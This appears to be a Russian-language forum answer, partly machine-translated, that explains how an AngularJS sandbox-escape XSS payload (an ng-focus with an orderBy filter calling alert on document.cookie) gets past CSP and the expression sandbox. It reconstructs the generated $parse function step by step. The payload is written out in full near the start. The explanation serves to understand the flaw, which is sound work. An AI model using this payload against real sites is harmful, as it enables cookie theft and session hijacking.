Прежде всего #x
не является частью выражения orderBy. Это фрагмент URL. Это заставляет браузер сосредоточиться на элементе ввода, вызывая событие ng-focus.
Просто для того, чтобы мы были на одной странице здесь. Это введенный код: <input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>
Просмотр эксплойта на высоком уровне обеспечивается решением на странице, на которую вы ссылаетесь:
Эксплойт использует событие ng-focus в AngularJS для создания события фокуса, которое обходит CSP. Он также использует $ event, которая является переменной AngularJS, которая ссылается на объект события. Свойство path указывается от c до Chrome и содержит массив элементов, вызвавших событие. Последний элемент в массиве содержит объект окна.
Обычно, | является побитовой или операцией в JavaScript, но в AngularJS указывает операцию фильтра, в данном случае фильтр orderBy. Двоеточие означает аргумент, который отправляется фильтру. В аргументе вместо прямого вызова функции alert мы присваиваем ее переменной z. Функция будет вызываться только тогда, когда операция orderBy достигает объекта окна в массиве $ event.path. Это означает, что он может быть вызван в области видимости окна без явной ссылки на объект окна, фактически обойдя проверку окна AngularJS.
Однако это не объясняет, как функция оповещения фактически вызывается. Решение скрыто в глубине исходного кода AngularJS. AngularJS использует сервис $parse
для анализа выражения, данного ему в атрибутах. Как указано выше, выражение является выражением фильтра, использующим фильтр orderBy. Фильтр orderBy реализует функцию, которая принимает массив ($event.path
) и выражение сортировки ('(z=alert)(document.cookie)'
) в качестве аргументов и возвращает упорядоченный массив.
Что фильтр OrderBy делает с сортировкой выражение? Выражение сортировки сравнивается с элементами массива для извлечения ключа, который следует использовать для упорядочения элементов. (Есть множество примеров в do c: https://code.angularjs.org/1.4.1/docs/api/ng/filter/orderBy). Как фильтр orderBy делает это? Он передает выражение сортировки в функцию $parse
, чтобы преобразовать его в функцию JS. Результирующая функция выглядит следующим образом:
var fn = function(s, l, a, i) {
var v0, v1, v2, v3, v4, v5 = l && ('z'in l), v6 = l && ('alert'in l), v7, v8, v9 = l && ('document'in l);
v4 = v5 ? l : s;
if (!(v5)) {
if (s) {
v3 = s.z;
}
} else {
v3 = l.z;
}
if (v4 != null) {
if (!(v6)) {
if (s) {
v2 = s.alert;
}
} else {
v2 = l.alert;
}
ensureSafeObject(v4.z, text);
v1 = v4.z = v2;
if (v1 != null) {
ensureSafeFunction(v1, text);
if (!(v9)) {
if (s) {
v8 = s.document;
}
} else {
v8 = l.document;
}
if (v8 != null) {
v7 = v8.cookie;
}
v0 = ensureSafeObject(v1(ensureSafeObject(v7, text)), text);
}
}
return v0;
};
Эта функция вызывается для каждого элемента в $event.path
. Это довольно уродливо, поэтому я попытался немного его почистить и упростить для понимания:
var fn = function(element, l, a, i) {
// element is the element from $event.path all other parameters are undefined
// these are all falsy
const hasLPropertyZ = l && ('z'in l);
const hasLPropertyAlert = l && ('alert'in l);
const hasLPropertyDocument = l && ('document'in l);
const elementOrL = hasLPropertyZ ? l : element;
// this block is useless
let elementZ;
if (!(hasLPropertyZ)) {
if (element) {
elementZ = element.z;
}
} else {
elementZ = l.z;
}
// ----------------------
let returnValue;
if (elementOrL != null) {
// here begins the real action. We are reading the alert property from our element.
let elementAlert;
if (!(hasLPropertyAlert)) {
if (element) {
elementAlert = element.alert;
}
} else {
elementAlert = l.alert;
}
ensureSafeObject(elementOrL.z, text);
// and assigning it to property z of our element
// this is the (z=alert) part of the expression
const alertFunction = elementOrL.z = elementAlert;
// if the alertFunction is null (on all elements except the window element) we don't do anything.
if (alertFunction != null) {
// one would think that we would get caught here, but this function only checks for call, apply, bind and the function constructor
ensureSafeFunction(alertFunction, text);
// here we are reading window.document
let theDocument;
if (!(hasLPropertyDocument)) {
if (element) {
theDocument = element.document;
}
} else {
theDocument = l.document;
}
// then we read document.cookie
let theCookie;
if (theDocument != null) {
theCookie = theDocument.cookie;
}
// executing alert
returnValue = ensureSafeObject(alertFunction(ensureSafeObject(theCookie, text)), text);
}
}
return returnValue;
};
return fn;
Как видите, эта функция по существу реализует следующий код:
function(element) {
const alertFunction = element.alert;
element.z = alertFunction;
alertFunction(element.document.cookie);
}
Надеюсь, это поможет. Дайте мне знать, если я смогу кое-что уточнить.